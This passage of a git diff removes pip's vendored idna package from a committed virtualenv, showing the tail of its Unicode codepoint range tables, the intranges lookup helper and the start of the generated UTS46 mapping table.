-        0x16E6000016E80,
-        0x16EBB00016ED4,
-        0x16F0000016F4B,
-        0x16F4F00016F88,
-        0x16F8F00016FA0,
-        0x16FE000016FE2,
-        0x16FE300016FE5,
-        0x16FF000016FF4,
-        0x1700000018CD6,
-        0x18CFF00018D1F,
-        0x18D8000018DF3,
-        0x1AFF00001AFF4,
-        0x1AFF50001AFFC,
-        0x1AFFD0001AFFF,
-        0x1B0000001B123,
-        0x1B1320001B133,
-        0x1B1500001B153,
-        0x1B1550001B156,
-        0x1B1640001B168,
-        0x1B1700001B2FC,
-        0x1BC000001BC6B,
-        0x1BC700001BC7D,
-        0x1BC800001BC89,
-        0x1BC900001BC9A,
-        0x1BC9D0001BC9F,
-        0x1CF000001CF2E,
-        0x1CF300001CF47,
-        0x1DA000001DA37,
-        0x1DA3B0001DA6D,
-        0x1DA750001DA76,
-        0x1DA840001DA85,
-        0x1DA9B0001DAA0,
-        0x1DAA10001DAB0,
-        0x1DF000001DF1F,
-        0x1DF250001DF2B,
-        0x1E0000001E007,
-        0x1E0080001E019,
-        0x1E01B0001E022,
-        0x1E0230001E025,
-        0x1E0260001E02B,
-        0x1E08F0001E090,
-        0x1E1000001E12D,
-        0x1E1300001E13E,
-        0x1E1400001E14A,
-        0x1E14E0001E14F,
-        0x1E2900001E2AF,
-        0x1E2C00001E2FA,
-        0x1E4D00001E4FA,
-        0x1E5D00001E5FB,
-        0x1E6C00001E6DF,
-        0x1E6E00001E6F6,
-        0x1E6FE0001E700,
-        0x1E7E00001E7E7,
-        0x1E7E80001E7EC,
-        0x1E7ED0001E7EF,
-        0x1E7F00001E7FF,
-        0x1E8000001E8C5,
-        0x1E8D00001E8D7,
-        0x1E9220001E94C,
-        0x1E9500001E95A,
-        0x200000002A6E0,
-        0x2A7000002B81E,
-        0x2B8200002CEAE,
-        0x2CEB00002EBE1,
-        0x2EBF00002EE5E,
-        0x300000003134B,
-        0x313500003347A,
-    ),
-    "CONTEXTJ": (0x200C0000200E,),
-    "CONTEXTO": (
-        0xB7000000B8,
-        0x37500000376,
-        0x5F3000005F5,
-        0x6600000066A,
-        0x6F0000006FA,
-        0x30FB000030FC,
-    ),
-}
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/intranges.py b/venv/Lib/site-packages/pip/_vendor/idna/intranges.py
deleted file mode 100644
index 19d77810caf332a1f310bd3b734dab7bbd82f64c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/intranges.py
+++ /dev/null
@@ -1,55 +0,0 @@
-"""
-Given a list of integers, made up of (hopefully) a small number of long runs
-of consecutive integers, compute a representation of the form
-((start1, end1), (start2, end2) ...). Then answer the question "was x present
-in the original list?" in time O(log(# runs)).
-"""
-
-import bisect
-
-
-def intranges_from_list(list_: list[int]) -> tuple[int, ...]:
-    """Represent a list of integers as a sequence of ranges:
-    ((start_0, end_0), (start_1, end_1), ...), such that the original
-    integers are exactly those x such that start_i <= x < end_i for some i.
-
-    Ranges are encoded as single integers (start << 32 | end), not as tuples.
-    """
-
-    sorted_list = sorted(list_)
-    ranges = []
-    last_write = -1
-    for i in range(len(sorted_list)):
-        if i + 1 < len(sorted_list) and sorted_list[i] == sorted_list[i + 1] - 1:
-            continue
-        current_range = sorted_list[last_write + 1 : i + 1]
-        ranges.append(_encode_range(current_range[0], current_range[-1] + 1))
-        last_write = i
-
-    return tuple(ranges)
-
-
-def _encode_range(start: int, end: int) -> int:
-    return (start << 32) | end
-
-
-def _decode_range(r: int) -> tuple[int, int]:
-    return (r >> 32), (r & ((1 << 32) - 1))
-
-
-def intranges_contain(int_: int, ranges: tuple[int, ...]) -> bool:
-    """Determine if `int_` falls into one of the ranges in `ranges`."""
-    tuple_ = _encode_range(int_, 0)
-    pos = bisect.bisect_left(ranges, tuple_)
-    # we could be immediately ahead of a tuple (start, end)
-    # with start < int_ <= end
-    if pos > 0:
-        left, right = _decode_range(ranges[pos - 1])
-        if left <= int_ < right:
-            return True
-    # or we could be immediately behind a tuple (int_, end)
-    if pos < len(ranges):
-        left, _ = _decode_range(ranges[pos])
-        if left == int_:
-            return True
-    return False
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/package_data.py b/venv/Lib/site-packages/pip/_vendor/idna/package_data.py
deleted file mode 100644
index 94e40398cda6322e7c348ce8c2c44b80a904e5c7..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/package_data.py
+++ /dev/null
@@ -1 +0,0 @@
-__version__ = "3.18"
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/py.typed b/venv/Lib/site-packages/pip/_vendor/idna/py.typed
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_vendor/idna/uts46data.py b/venv/Lib/site-packages/pip/_vendor/idna/uts46data.py
deleted file mode 100644
index f2d931fe5d23c043a47687c480cffffd069e7aa6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/idna/uts46data.py
+++ /dev/null
@@ -1,16896 +0,0 @@
-# This file is automatically generated by tools/idna-data
-
-from array import array
-from typing import Optional
-
-"""IDNA Mapping Table from UTS46."""
-
-
-__version__ = "17.0.0"
-
-uts46_starts: "array[int]" = array(
-    "I",
-    (
-        0x0,
-        0x1,
-        0x2,
-        0x3,
-        0x4,
-        0x5,
-        0x6,
-        0x7,
-        0x8,
-        0x9,
-        0xA,
-        0xB,
-        0xC,
-        0xD,
-        0xE,
-        0xF,
-        0x10,
-        0x11,
-        0x12,
-        0x13,
-        0x14,
-        0x15,
-        0x16,
-        0x17,
-        0x18,
-        0x19,
-        0x1A,
-        0x1B,
-        0x1C,
-        0x1D,
-        0x1E,
-        0x1F,
-        0x20,
-        0x21,
-        0x22,
-        0x23,
-        0x24,
-        0x25,
-        0x26,
-        0x27,
-        0x28,
-        0x29,
-        0x2A,
-        0x2B,
-        0x2C,
-        0x2D,
-        0x2E,
-        0x2F,
-        0x30,
-        0x31,
-        0x32,
-        0x33,
-        0x34,
-        0x35,
-        0x36,
-        0x37,
-        0x38,
-        0x39,
-        0x3A,
-        0x3B,
-        0x3C,
-        0x3D,
-        0x3E,
-        0x3F,
-        0x40,
-        0x41,
-        0x42,
-        0x43,
-        0x44,
-        0x45,
-        0x46,
-        0x47,
-        0x48,
-        0x49,
-        0x4A,
-        0x4B,
-        0x4C,
-        0x4D,
-        0x4E,
-        0x4F,
-        0x50,
-        0x51,
-        0x52,
-        0x53,
-        0x54,
-        0x55,
-        0x56,
-        0x57,
-        0x58,
-        0x59,
-        0x5A,
-        0x5B,
-        0x5C,
-        0x5D,
-        0x5E,
-        0x5F,
-        0x60,
-        0x61,
-        0x62,
-        0x63,
-        0x64,
-        0x65,
-        0x66,
-        0x67,
-        0x68,
-        0x69,
-        0x6A,
-        0x6B,
-        0x6C,
-        0x6D,
-        0x6E,
-        0x6F,
-        0x70,
-        0x71,
-        0x72,
-        0x73,
-        0x74,
-        0x75,
-        0x76,
-        0x77,
-        0x78,
-        0x79,
-        0x7A,
-        0x7B,
-        0x7C,
-        0x7D,
-        0x7E,
-        0x7F,
-        0x80,
-        0x81,
-        0x82,
-        0x83,
-        0x84,
-        0x85,
-        0x86,
-        0x87,
-        0x88,
-        0x89,
-        0x8A,
-        0x8B,
-        0x8C,
-        0x8D,
-        0x8E,
-        0x8F,
-        0x90,
-        0x91,
-        0x92,
-        0x93,
-        0x94,
-        0x95,
-        0x96,
-        0x97,
-        0x98,
-        0x99,
-        0x9A,
-        0x9B,
-        0x9C,
-        0x9D,
-        0x9E,
-        0x9F,
-        0xA0,
-        0xA1,
-        0xA2,
-        0xA3,
-        0xA4,
-        0xA5,
-        0xA6,
-        0xA7,
-        0xA8,
-        0xA9,
-        0xAA,
-        0xAB,
-        0xAC,
-        0xAD,
-        0xAE,
-        0xAF,
-        0xB0,
-        0xB1,
-        0xB2,
-        0xB3,
-        0xB4,
-        0xB5,
-        0xB6,
-        0xB7,
-        0xB8,
-        0xB9,
-        0xBA,
-        0xBB,
-        0xBC,
-        0xBD,
-        0xBE,
-        0xBF,
-        0xC0,
-        0xC1,
-        0xC2,
-        0xC3,
-        0xC4,
-        0xC5,
-        0xC6,
-        0xC7,
-        0xC8,
-        0xC9,
-        0xCA,
-        0xCB,
-        0xCC,
-        0xCD,
-        0xCE,
-        0xCF,
-        0xD0,
-        0xD1,
-        0xD2,
-        0xD3,
-        0xD4,
-        0xD5,
-        0xD6,
-        0xD7,
-        0xD8,
-        0xD9,
-        0xDA,
-        0xDB,
-        0xDC,
-        0xDD,
-        0xDE,
-        0xDF,
-        0xE0,
-        0xE1,
-        0xE2,
-        0xE3,
-        0xE4,
-        0xE5,
-        0xE6,
-        0xE7,
-        0xE8,
-        0xE9,
-        0xEA,
-        0xEB,
-        0xEC,
-        0xED,
-        0xEE,
-        0xEF,
-        0xF0,
-        0xF1,
-        0xF2,
-        0xF3,
-        0xF4,
-        0xF5,
-        0xF6,
-        0xF7,
-        0xF8,
-        0xF9,
-        0xFA,
-        0xFB,
-        0xFC,
-        0xFD,
-        0xFE,
-        0xFF,
-        0x100,
-        0x101,
-        0x102,
-        0x103,
-        0x104,
-        0x105,
-        0x106,
-        0x107,
-        0x108,
-        0x109,
-        0x10A,
-        0x10B,
-        0x10C,
-        0x10D,
-        0x10E,
-        0x10F,
-        0x110,
-        0x111,
-        0x112,
-        0x113,
-        0x114,
-        0x115,
-        0x116,
-        0x117,
-        0x118,
-        0x119,
-        0x11A,
-        0x11B,
-        0x11C,
-        0x11D,
-        0x11E,
-        0x11F,
-        0x120,
-        0x121,
-        0x122,
-        0x123,
-        0x124,
-        0x125,
-        0x126,
-        0x127,
-        0x128,
-        0x129,
-        0x12A,
-        0x12B,
-        0x12C,
-        0x12D,
-        0x12E,
-        0x12F,
-        0x130,
-        0x131,
-        0x132,
-        0x134,
-        0x135,
-        0x136,
-        0x137,
-        0x139,
-        0x13A,
-        0x13B,
-        0x13C,
-        0x13D,
-        0x13E,
-        0x13F,
-        0x141,
-        0x142,
-        0x143,
-        0x144,
-        0x145,
-        0x146,
-        0x147,
-        0x148,
-        0x149,
-        0x14A,
-        0x14B,
-        0x14C,
-        0x14D,
-        0x14E,
-        0x14F,
-        0x150,
-        0x151,
-        0x152,
-        0x153,
-        0x154,
-        0x155,
-        0x156,
-        0x157,
-        0x158,
-        0x159,
-        0x15A,
-        0x15B,
-        0x15C,
-        0x15D,
-        0x15E,
-        0x15F,
-        0x160,
-        0x161,
-        0x162,
-        0x163,
-        0x164,
-        0x165,
-        0x166,
-        0x167,
-        0x168,
-        0x169,
-        0x16A,
-        0x16B,
-        0x16C,
-        0x16D,
-        0x16E,
-        0x16F,
-        0x170,
-        0x171,
-        0x172,
-        0x173,
-        0x174,
-        0x175,
-        0x176,
-        0x177,
-        0x178,
-        0x179,
-        0x17A,
-        0x17B,
-        0x17C,
-        0x17D,
-        0x17E,
-        0x17F,
-        0x180,
-        0x181,
-        0x182,
-        0x183,
-        0x184,
-        0x185,
-        0x186,
-        0x187,
-        0x188,
-        0x189,
-        0x18A,
-        0x18B,
-        0x18C,
-        0x18E,
-        0x18F,
-        0x190,
-        0x191,
-        0x192,
-        0x193,
-        0x194,
-        0x195,
-        0x196,
-        0x197,
-        0x198,
-        0x199,
-        0x19C,
-        0x19D,
-        0x19E,
-        0x19F,
-        0x1A0,
-        0x1A1,
-        0x1A2,
-        0x1A3,
-        0x1A4,
-        0x1A5,
-        0x1A6,
-        0x1A7,
-        0x1A8,
-        0x1A9,
-        0x1AA,
-        0x1AC,
-        0x1AD,
-        0x1AE,
-        0x1AF,
-        0x1B0,
-        0x1B1,
-        0x1B2,
-        0x1B3,
-        0x1B4,
-        0x1B5,
-        0x1B6,
-        0x1B7,
-        0x1B8,
-        0x1B9,
-        0x1BC,
-        0x1BD,
-        0x1C4,
-        0x1C7,
-        0x1CA,
-        0x1CD,
-        0x1CE,
-        0x1CF,
-        0x1D0,
-        0x1D1,
-        0x1D2,
-        0x1D3,
-        0x1D4,
-        0x1D5,
-        0x1D6,
-        0x1D7,
-        0x1D8,
-        0x1D9,
-        0x1DA,
-        0x1DB,
-        0x1DC,
-        0x1DE,
-        0x1DF,
-        0x1E0,
-        0x1E1,
-        0x1E2,
-        0x1E3,
-        0x1E4,
-        0x1E5,
-        0x1E6,
-        0x1E7,
-        0x1E8,
-        0x1E9,
-        0x1EA,
-        0x1EB,
-        0x1EC,
-        0x1ED,
-        0x1EE,
-        0x1EF,
-        0x1F1,
-        0x1F4,
-        0x1F5,
-        0x1F6,
-        0x1F7,
-        0x1F8,
-        0x1F9,
-        0x1FA,
-        0x1FB,
-        0x1FC,
-        0x1FD,
-        0x1FE,
-        0x1FF,
-        0x200,
-        0x201,
-        0x202,
-        0x203,
-        0x204,
-        0x205,
-        0x206,
-        0x207,
-        0x208,
-        0x209,
-        0x20A,
-        0x20B,
-        0x20C,
-        0x20D,
-        0x20E,
-        0x20F,
-        0x210,
-        0x211,
-        0x212,
-        0x213,
-        0x214,
-        0x215,
-        0x216,
-        0x217,
-        0x218,
-        0x219,
-        0x21A,
-        0x21B,
-        0x21C,
-        0x21D,
-        0x21E,
-        0x21F,
-        0x220,
-        0x221,
-        0x222,
-        0x223,
-        0x224,
-        0x225,
-        0x226,
-        0x227,
-        0x228,
-        0x229,
-        0x22A,
-        0x22B,
-        0x22C,
-        0x22D,
-        0x22E,
-        0x22F,
-        0x230,
-        0x231,
-        0x232,
-        0x233,
-        0x23A,
-        0x23B,
-        0x23C,
-        0x23D,
-        0x23E,
-        0x23F,
-        0x241,
-        0x242,
-        0x243,
-        0x244,
-        0x245,
-        0x246,
-        0x247,
-        0x248,
-        0x249,
-        0x24A,
-        0x24B,
-        0x24C,
-        0x24D,
-        0x24E,
-        0x24F,
-        0x2B0,
-        0x2B1,
-        0x2B2,
-        0x2B3,
-        0x2B4,
-        0x2B5,
-        0x2B6,
-        0x2B7,
-        0x2B8,
-        0x2B9,
-        0x2D8,
-        0x2D9,
-        0x2DA,
-        0x2DB,
-        0x2DC,
-        0x2DD,
-        0x2DE,
-        0x2E0,
-        0x2E1,
-        0x2E2,
-        0x2E3,
-        0x2E4,
-        0x2E5,
-        0x340,
-        0x341,
-        0x342,
-        0x343,
-        0x344,
-        0x345,
-        0x346,
-        0x34F,
-        0x350,
-        0x370,
-        0x371,
-        0x372,
-        0x373,
-        0x374,
-        0x375,
-        0x376,
-        0x377,
-        0x378,
-        0x37A,
-        0x37B,
-        0x37E,
-        0x37F,
-        0x380,
-        0x384,
-        0x385,
-        0x386,
-        0x387,
-        0x388,
-        0x389,
-        0x38A,
-        0x38B,
-        0x38C,
-        0x38D,
-        0x38E,
-        0x38F,
-        0x390,
-        0x391,
-        0x392,
-        0x393,
-        0x394,
-        0x395,
-        0x396,
-        0x397,
-        0x398,
-        0x399,
-        0x39A,
-        0x39B,
-        0x39C,
-        0x39D,
-        0x39E,
-        0x39F,
-        0x3A0,
-        0x3A1,
-        0x3A2,
-        0x3A3,
-        0x3A4,
-        0x3A5,
-        0x3A6,
-        0x3A7,
-        0x3A8,
-        0x3A9,
-        0x3AA,
-        0x3AB,
-        0x3AC,
-        0x3C2,
-        0x3C3,
-        0x3CF,
-        0x3D0,
-        0x3D1,
-        0x3D2,
-        0x3D3,
-        0x3D4,
-        0x3D5,
-        0x3D6,
-        0x3D7,
-        0x3D8,
-        0x3D9,
-        0x3DA,
-        0x3DB,
-        0x3DC,
-        0x3DD,
-        0x3DE,
-        0x3DF,
-        0x3E0,
-        0x3E1,
-        0x3E2,
-        0x3E3,
-        0x3E4,
-        0x3E5,
-        0x3E6,
-        0x3E7,
-        0x3E8,
-        0x3E9,
-        0x3EA,
-        0x3EB,
-        0x3EC,
-        0x3ED,
-        0x3EE,
-        0x3EF,
-        0x3F0,
-        0x3F1,
-        0x3F2,
-        0x3F3,
-        0x3F4,
-        0x3F5,
-        0x3F6,
-        0x3F7,
-        0x3F8,
-        0x3F9,
-        0x3FA,
-        0x3FB,
-        0x3FD,
-        0x3FE,
-        0x3FF,
-        0x400,
-        0x401,
-        0x402,
-        0x403,
-        0x404,
-        0x405,
-        0x406,
-        0x407,
-        0x408,
-        0x409,
-        0x40A,
-        0x40B,
-        0x40C,
-        0x40D,
-        0x40E,
-        0x40F,
-        0x410,
-        0x411,
-        0x412,
-        0x413,
-        0x414,
-        0x415,
-        0x416,
-        0x417,
-        0x418,
-        0x419,
-        0x41A,
-        0x41B,
-        0x41C,
-        0x41D,
-        0x41E,
-        0x41F,
-        0x420,
-        0x421,
-        0x422,
-        0x423,
-        0x424,
-        0x425,
-        0x426,
-        0x427,
-        0x428,
-        0x429,
-        0x42A,
-        0x42B,
-        0x42C,
-        0x42D,
-        0x42E,
-        0x42F,
-        0x430,
-        0x460,
-        0x461,
-        0x462,
-        0x463,
-        0x464,
-        0x465,
-        0x466,
-        0x467,
-        0x468,
-        0x469,
-        0x46A,
-        0x46B,
-        0x46C,
-        0x46D,
-        0x46E,
-        0x46F,
-        0x470,
-        0x471,
-        0x472,
-        0x473,
-        0x474,
-        0x475,
-        0x476,
-        0x477,
-        0x478,
-        0x479,
-        0x47A,
-        0x47B,
-        0x47C,
-        0x47D,
-        0x47E,
-        0x47F,
-        0x480,
-        0x481,
-        0x48A,
-        0x48B,
-        0x48C,
-        0x48D,
-        0x48E,
-        0x48F,
-        0x490,
-        0x491,
-        0x492,
-        0x493,
-        0x494,
-        0x495,
-        0x496,
-        0x497,
-        0x498,
-        0x499,
-        0x49A,
-        0x49B,
-        0x49C,
-        0x49D,
-        0x49E,
-        0x49F,
-        0x4A0,
-        0x4A1,
-        0x4A2,
-        0x4A3,
-        0x4A4,
-        0x4A5,
-        0x4A6,
-        0x4A7,
-        0x4A8,
-        0x4A9,
-        0x4AA,
-        0x4AB,
-        0x4AC,
-        0x4AD,
-        0x4AE,
-        0x4AF,
-        0x4B0,
-        0x4B1,
-        0x4B2,
-        0x4B3,
-        0x4B4,
-        0x4B5,
-        0x4B6,
-        0x4B7,
-        0x4B8,
-        0x4B9,
-        0x4BA,
-        0x4BB,
-        0x4BC,
-        0x4BD,
-        0x4BE,
-        0x4BF,
-        0x4C0,
-        0x4C1,
-        0x4C2,
-        0x4C3,
-        0x4C4,
-        0x4C5,
-        0x4C6,
-        0x4C7,
-        0x4C8,
-        0x4C9,
-        0x4CA,
-        0x4CB,
-        0x4CC,
-        0x4CD,
-        0x4CE,
-        0x4D0,
-        0x4D1,
-        0x4D2,
-        0x4D3,
-        0x4D4,
-        0x4D5,
-        0x4D6,
-        0x4D7,
-        0x4D8,
-        0x4D9,
-        0x4DA,
-        0x4DB,
-        0x4DC,
-        0x4DD,
-        0x4DE,
-        0x4DF,
-        0x4E0,
-        0x4E1,
-        0x4E2,
-        0x4E3,
-        0x4E4,
-        0x4E5,
-        0x4E6,
-        0x4E7,
-        0x4E8,
-        0x4E9,
-        0x4EA,
-        0x4EB,
-        0x4EC,
-        0x4ED,
-        0x4EE,
-        0x4EF,
-        0x4F0,
-        0x4F1,
-        0x4F2,
-        0x4F3,
-        0x4F4,
-        0x4F5,
-        0x4F6,
-        0x4F7,
-        0x4F8,
-        0x4F9,
-        0x4FA,
-        0x4FB,
-        0x4FC,
-        0x4FD,
-        0x4FE,
-        0x4FF,
-        0x500,
-        0x501,
-        0x502,
-        0x503,
-        0x504,
-        0x505,
-        0x506,
-        0x507,
-        0x508,
-        0x509,
-        0x50A,
-        0x50B,
-        0x50C,
-        0x50D,
-        0x50E,
-        0x50F,
-        0x510,
-        0x511,
-        0x512,
-        0x513,
-        0x514,
-        0x515,
-        0x516,
-        0x517,
-        0x518,
-        0x519,
-        0x51A,
-        0x51B,
-        0x51C,
-        0x51D,
-        0x51E,
-        0x51F,
-        0x520,
-        0x521,
-        0x522,
-        0x523,
-        0x524,
-        0x525,
-        0x526,
-        0x527,
-        0x528,
-        0x529,
-        0x52A,
-        0x52B,
-        0x52C,
-        0x52D,
-        0x52E,
-        0x52F,
-        0x530,
-        0x531,
-        0x532,
-        0x533,
-        0x534,
-        0x535,
-        0x536,
-        0x537,
-        0x538,
-        0x539,
-        0x53A,
-        0x53B,
-        0x53C,
-        0x53D,
-        0x53E,
-        0x53F,
-        0x540,
-        0x541,
-        0x542,
-        0x543,
-        0x544,
-        0x545,
-        0x546,
-        0x547,
-        0x548,
-        0x549,
-        0x54A,
-        0x54B,
-        0x54C,
-        0x54D,
-        0x54E,
-        0x54F,
-        0x550,
-        0x551,
-        0x552,
-        0x553,
-        0x554,
-        0x555,
-        0x556,
-        0x557,
-        0x559,
-        0x587,
-        0x588,
-        0x58B,
-        0x58D,
-        0x590,
-        0x591,
-        0x5C8,
-        0x5D0,
-        0x5EB,
-        0x5EF,
-        0x5F5,
-        0x606,
-        0x61C,
-        0x61D,
-        0x675,
-        0x676,
-        0x677,
-        0x678,
-        0x679,
-        0x6DD,
-        0x6DE,
-        0x70E,
-        0x710,
-        0x74B,
-        0x74D,
-        0x7B2,
-        0x7C0,
-        0x7FB,
-        0x7FD,
-        0x82E,
-        0x830,
-        0x83F,
-        0x840,
-        0x85C,
-        0x85E,
-        0x85F,
-        0x860,
-        0x86B,
-        0x870,
-        0x890,
-        0x897,
-        0x8E2,
-        0x8E3,
-        0x958,
-        0x959,
-        0x95A,
-        0x95B,
-        0x95C,
-        0x95D,
-        0x95E,
-        0x95F,
-        0x960,
-        0x984,
-        0x985,
-        0x98D,
-        0x98F,
-        0x991,
-        0x993,
-        0x9A9,
-        0x9AA,
-        0x9B1,
-        0x9B2,
-        0x9B3,
-        0x9B6,
-        0x9BA,
-        0x9BC,
-        0x9C5,
-        0x9C7,
-        0x9C9,
-        0x9CB,
-        0x9CF,
-        0x9D7,
-        0x9D8,
-        0x9DC,
-        0x9DD,
-        0x9DE,
-        0x9DF,
-        0x9E0,
-        0x9E4,
-        0x9E6,
-        0x9FF,
-        0xA01,
-        0xA04,
-        0xA05,
-        0xA0B,
-        0xA0F,
-        0xA11,
-        0xA13,
-        0xA29,
-        0xA2A,
-        0xA31,
-        0xA32,
-        0xA33,
-        0xA34,
-        0xA35,
-        0xA36,
-        0xA37,
-        0xA38,
-        0xA3A,
-        0xA3C,
-        0xA3D,
-        0xA3E,
-        0xA43,
-        0xA47,
-        0xA49,
-        0xA4B,
-        0xA4E,
-        0xA51,
-        0xA52,
-        0xA59,
-        0xA5A,
-        0xA5B,
-        0xA5C,
-        0xA5D,
-        0xA5E,
-        0xA5F,
-        0xA66,
-        0xA77,
-        0xA81,
-        0xA84,
-        0xA85,
-        0xA8E,
-        0xA8F,
-        0xA92,
-        0xA93,
-        0xAA9,
-        0xAAA,
-        0xAB1,
-        0xAB2,
-        0xAB4,
-        0xAB5,
-        0xABA,
-        0xABC,
-        0xAC6,
-        0xAC7,
-        0xACA,
-        0xACB,
-        0xACE,
-        0xAD0,
-        0xAD1,
-        0xAE0,
-        0xAE4,
-        0xAE6,
-        0xAF2,
-        0xAF9,
-        0xB00,
-        0xB01,
-        0xB04,
-        0xB05,
-        0xB0D,
-        0xB0F,
-        0xB11,
-        0xB13,
-        0xB29,
-        0xB2A,
-        0xB31,
-        0xB32,
-        0xB34,
-        0xB35,
-        0xB3A,
-        0xB3C,
-        0xB45,
-        0xB47,
-        0xB49,
-        0xB4B,
-        0xB4E,
-        0xB55,
-        0xB58,
-        0xB5C,
-        0xB5D,
-        0xB5E,
-        0xB5F,
-        0xB64,
-        0xB66,
-        0xB78,
-        0xB82,
-        0xB84,
-        0xB85,
-        0xB8B,
-        0xB8E,
-        0xB91,
-        0xB92,
-        0xB96,
-        0xB99,
-        0xB9B,
-        0xB9C,
-        0xB9D,
-        0xB9E,
-        0xBA0,
-        0xBA3,
-        0xBA5,
-        0xBA8,
-        0xBAB,
-        0xBAE,
-        0xBBA,
-        0xBBE,
-        0xBC3,
-        0xBC6,
-        0xBC9,
-        0xBCA,
-        0xBCE,
-        0xBD0,
-        0xBD1,
-        0xBD7,
-        0xBD8,
-        0xBE6,
-        0xBFB,
-        0xC00,
-        0xC0D,
-        0xC0E,
-        0xC11,
-        0xC12,
-        0xC29,
-        0xC2A,
-        0xC3A,
-        0xC3C,
-        0xC45,
-        0xC46,
-        0xC49,
-        0xC4A,
-        0xC4E,
-        0xC55,
-        0xC57,
-        0xC58,
-        0xC5B,
-        0xC5C,
-        0xC5E,
-        0xC60,
-        0xC64,
-        0xC66,
-        0xC70,
-        0xC77,
-        0xC8D,
-        0xC8E,
-        0xC91,
-        0xC92,
-        0xCA9,
-        0xCAA,
-        0xCB4,
-        0xCB5,
-        0xCBA,
-        0xCBC,
-        0xCC5,
-        0xCC6,
-        0xCC9,
-        0xCCA,
-        0xCCE,
-        0xCD5,
-        0xCD7,
-        0xCDC,
-        0xCDF,
-        0xCE0,
-        0xCE4,
-        0xCE6,
-        0xCF0,
-        0xCF1,
-        0xCF4,
-        0xD00,
-        0xD0D,
-        0xD0E,
-        0xD11,
-        0xD12,
-        0xD45,
-        0xD46,
-        0xD49,
-        0xD4A,
-        0xD50,
-        0xD54,
-        0xD64,
-        0xD66,
-        0xD80,
-        0xD81,
-        0xD84,
-        0xD85,
-        0xD97,
-        0xD9A,
-        0xDB2,
-        0xDB3,
-        0xDBC,
-        0xDBD,
-        0xDBE,
-        0xDC0,
-        0xDC7,
-        0xDCA,
-        0xDCB,
-        0xDCF,
-        0xDD5,
-        0xDD6,
-        0xDD7,
-        0xDD8,
-        0xDE0,
-        0xDE6,
-        0xDF0,
-        0xDF2,
-        0xDF5,
-        0xE01,
-        0xE33,
-        0xE34,
-        0xE3B,
-        0xE3F,
-        0xE5C,
-        0xE81,
-        0xE83,
-        0xE84,
-        0xE85,
-        0xE86,
-        0xE8B,
-        0xE8C,
-        0xEA4,
-        0xEA5,
-        0xEA6,
-        0xEA7,
-        0xEB3,
-        0xEB4,
-        0xEBE,
-        0xEC0,
-        0xEC5,
-        0xEC6,
-        0xEC7,
-        0xEC8,
-        0xECF,
-        0xED0,
-        0xEDA,
-        0xEDC,
-        0xEDD,
-        0xEDE,
-        0xEE0,
-        0xF00,
-        0xF0C,
-        0xF0D,
-        0xF43,
-        0xF44,
-        0xF48,
-        0xF49,
-        0xF4D,
-        0xF4E,
-        0xF52,
-        0xF53,
-        0xF57,
-        0xF58,
-        0xF5C,
-        0xF5D,
-        0xF69,
-        0xF6A,
-        0xF6D,
-        0xF71,
-        0xF73,
-        0xF74,
-        0xF75,
-        0xF76,
-        0xF77,
-        0xF78,
-        0xF79,
-        0xF7A,
-        0xF81,
-        0xF82,
-        0xF93,
-        0xF94,
-        0xF98,
-        0xF99,
-        0xF9D,
-        0xF9E,
-        0xFA2,
-        0xFA3,
-        0xFA7,
-        0xFA8,
-        0xFAC,
-        0xFAD,
-        0xFB9,
-        0xFBA,
-        0xFBD,
-        0xFBE,
-        0xFCD,
-        0xFCE,
-        0xFDB,
-        0x1000,
-        0x10A0,
-        0x10A1,
-        0x10A2,
-        0x10A3,
-        0x10A4,
-        0x10A5,
-        0x10A6,
-        0x10A7,
-        0x10A8,
-        0x10A9,
-        0x10AA,
-        0x10AB,
-        0x10AC,
-        0x10AD,
-        0x10AE,
-        0x10AF,
-        0x10B0,
-        0x10B1,
-        0x10B2,
-        0x10B3,
-        0x10B4,
-        0x10B5,
-        0x10B6,
-        0x10B7,
-        0x10B8,
-        0x10B9,
-        0x10BA,
-        0x10BB,
-        0x10BC,
-        0x10BD,
-        0x10BE,
-        0x10BF,
-        0x10C0,
-        0x10C1,
-        0x10C2,
-        0x10C3,
-        0x10C4,
-        0x10C5,
-        0x10C6,
-        0x10C7,
-        0x10C8,
-        0x10CD,
-        0x10CE,
-        0x10D0,
-        0x10FC,
-        0x10FD,
-        0x115F,
-        0x1161,
-        0x1249,
-        0x124A,
-        0x124E,
-        0x1250,
-        0x1257,
-        0x1258,
-        0x1259,
-        0x125A,
-        0x125E,
-        0x1260,
-        0x1289,
-        0x128A,
-        0x128E,
-        0x1290,
-        0x12B1,
-        0x12B2,
-        0x12B6,
-        0x12B8,
-        0x12BF,
-        0x12C0,
-        0x12C1,
-        0x12C2,
-        0x12C6,
-        0x12C8,
-        0x12D7,
-        0x12D8,
-        0x1311,
-        0x1312,
-        0x1316,
-        0x1318,
-        0x135B,
-        0x135D,
-        0x137D,
-        0x1380,
-        0x139A,
-        0x13A0,
-        0x13F6,
-        0x13F8,
-        0x13F9,
-        0x13FA,
-        0x13FB,
-        0x13FC,
-        0x13FD,
-        0x13FE,
-        0x1400,
-        0x1680,
-        0x1681,
-        0x169D,
-        0x16A0,
-        0x16F9,
-        0x1700,
-        0x1716,
-        0x171F,
-        0x1737,
-        0x1740,
-        0x1754,
-        0x1760,
-        0x176D,
-        0x176E,
-        0x1771,
-        0x1772,
-        0x1774,
-        0x1780,
-        0x17B4,
-        0x17B6,
-        0x17DE,
-        0x17E0,
-        0x17EA,
-        0x17F0,
-        0x17FA,
-        0x1800,
-        0x180B,
-        0x1810,
-        0x181A,
-        0x1820,
-        0x1879,
-        0x1880,
-        0x18AB,
-        0x18B0,
-        0x18F6,
-        0x1900,
-        0x191F,
-        0x1920,
-        0x192C,
-        0x1930,
-        0x193C,
-        0x1940,
-        0x1941,
-        0x1944,
-        0x196E,
-        0x1970,
-        0x1975,
-        0x1980,
-        0x19AC,
-        0x19B0,
-        0x19CA,
-        0x19D0,
-        0x19DB,
-        0x19DE,
-        0x1A1C,
-        0x1A1E,
-        0x1A5F,
-        0x1A60,
-        0x1A7D,
-        0x1A7F,
-        0x1A8A,
-        0x1A90,
-        0x1A9A,
-        0x1AA0,
-        0x1AAE,
-        0x1AB0,
-        0x1ADE,
